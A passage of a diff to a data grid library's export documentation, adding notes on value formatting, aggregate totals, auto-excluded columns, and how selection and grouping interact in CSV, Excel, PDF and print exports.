+> **Note:** In `exportToExcelAdvanced`, `valueFormatter` is only applied for `string`-typed columns. For `number`/`date`/`boolean` columns, raw values are passed to Excel and formatted via `columnStyles.numFmt`; the formatter is used only for values that are missing or not of the column's type (see [Cell types](#cell-types)).
+
+### Aggregate values
+
+Subtotal, grand-total and totals cells are formatted the same way in every text format (CSV, basic Excel, print, PDF):
+
+- `count` and `unique` are plain counts formatted like the grid footer (`1,234`); the column's `valueFormatter` is not applied, because a count of a currency column is not an amount.
+- `sum`, `avg`, `min` and `max` go through the column's `valueFormatter`. Its `row` argument is the record of aggregated values (like the grid's group rows), not a data row; if the formatter throws, the value is formatted like the grid footer instead of aborting the export. `min` / `max` of a `type: 'date'` column reach the formatter as a `Date`.
+- When the first exported column has its own aggregate, its value is kept next to the label (`Subtotal: 300`, `TOTAL: $30.00`) instead of being overwritten.
 
 ---
 
 ## Excluding Columns
 
-You can exclude specific columns (e.g., action buttons or menus) from all export formats using the `exportable` property in the column definition. System columns are also automatically excluded.
+You can exclude specific columns (e.g., action buttons or menus) from all export formats using the `exportable` property in the column definition. A few fields are also excluded automatically. Every other column you pass is exported, including hidden ones: pass `apiRef.current.getVisibleColumns()` to export what is on screen.
 
 | Method | Description |
 |---|---|
 | `exportable: false` | Set in `GridColDef` to manually exclude any column |
-| `__check__` | Native checkbox column (auto-excluded) |
-| `__actions__` | Common field for action buttons (auto-excluded) |
-| `isSpacer: true` | Spacer columns (auto-excluded) |
+| `__checkbox_col__`, `__expand_col__`, `__reorder_col__` | The grid's checkbox, detail-panel and drag-handle columns (auto-excluded, v3.0+) |
+| `__group__` | The row-grouping column from `groupingColDef` (auto-excluded; grouped exports write group labels from `groupedRows`) |
+| `__check__`, `__actions__` | Legacy checkbox / action-button field names (auto-excluded) |
+| `isSpacer: true` | Spacer columns (auto-excluded from every format since v3.0; before, only advanced Excel skipped them) |
 
 ### Example
 ```tsx
@@ -417,13 +489,26 @@ const columns: GridColDef[] = [
   { 
     field: 'actions', 
     headerName: 'Actions', 
-    exportable: false // This column won't appear in CSV/Excel/JSON/Print
+    exportable: false // This column won't appear in CSV/Excel/JSON/PDF/Print
   },
 ];
 ```
 
 ---
 
+## Selection, grouping and totals
+
+Every exporter follows the same rules (v3.0+):
+
+- **`selectedRows`** exports only the rows with those IDs, picked from the `rows` you pass. Pass all rows plus `selectedRows` rather than pre-filtering, so the exporter knows a selection was applied.
+- **A non-empty selection takes precedence over `groupedRows`**: the selected rows are exported flat. (Before v3.0, CSV, basic Excel, JSON, print and PDF silently ignored the selection and exported every grouped row.) In `exportToExcelAdvanced`, `rows: 'selected'` sheets are flat and `rows: 'all'` sheets use `groupedRows`.
+- **Totals follow the exported rows.** The grid's `aggregationResult` covers all filtered rows; when a selection narrows the export, the totals row is recomputed over the selected rows with the grid's own aggregation functions (it needs `aggregationModel`). Without a selection, `aggregationResult` is written as given — if you pass a subset of rows yourself (e.g. the current page), pass totals computed for that subset.
+- Row selection is linear in the number of rows, so exporting "select all" on a large grid does not freeze the tab.
+- **With a custom `getRowId`, pass it as the `getRowId` option.** `selectedRows` holds the grid's ids, and since v3.0 the grid no longer copies them onto `row.id`, so without the option a row that keeps its id in another field (or whose `id` field is not the key) is not matched.
+- **`getGroupedExportRows()` exports every group**, collapsed or not, sorted and filtered like the screen; groups with no row left after the filter are omitted, and each subtotal is computed over the rows exported under it (v3.0+).
+
+---
+
 ## Performance Notes
 
 | Format | 10k rows | 100k rows |
@@ -447,7 +532,9 @@ All export functions work in:
 
 ## See Also
 
-- [Demo: Export Data](../demo/examples/ExportDemo.tsx)
-- [Demo: Advanced Excel Export](../demo/examples/AdvancedExcelExportDemo.tsx)
-- [Slots API Reference](./SLOTS_API.md)
-- [Theming Guide](./THEMING.md)
+- [PDF Export](./pdf-export.md)
+- [Toolbar Customization](./toolbar-customization.md)
+- [Demo: Export Data](https://github.com/OpenCoreStack/OpenGridX/blob/main/demo/examples/ExportDemo/ExportDemo.tsx)
+- [Demo: Advanced Excel Export](https://github.com/OpenCoreStack/OpenGridX/blob/main/demo/examples/AdvancedExcelExportDemo/AdvancedExcelExportDemo.tsx)
+- [Slots API Reference](../customization/slots-api.md)
+- [Theming Guide](../customization/theming.md)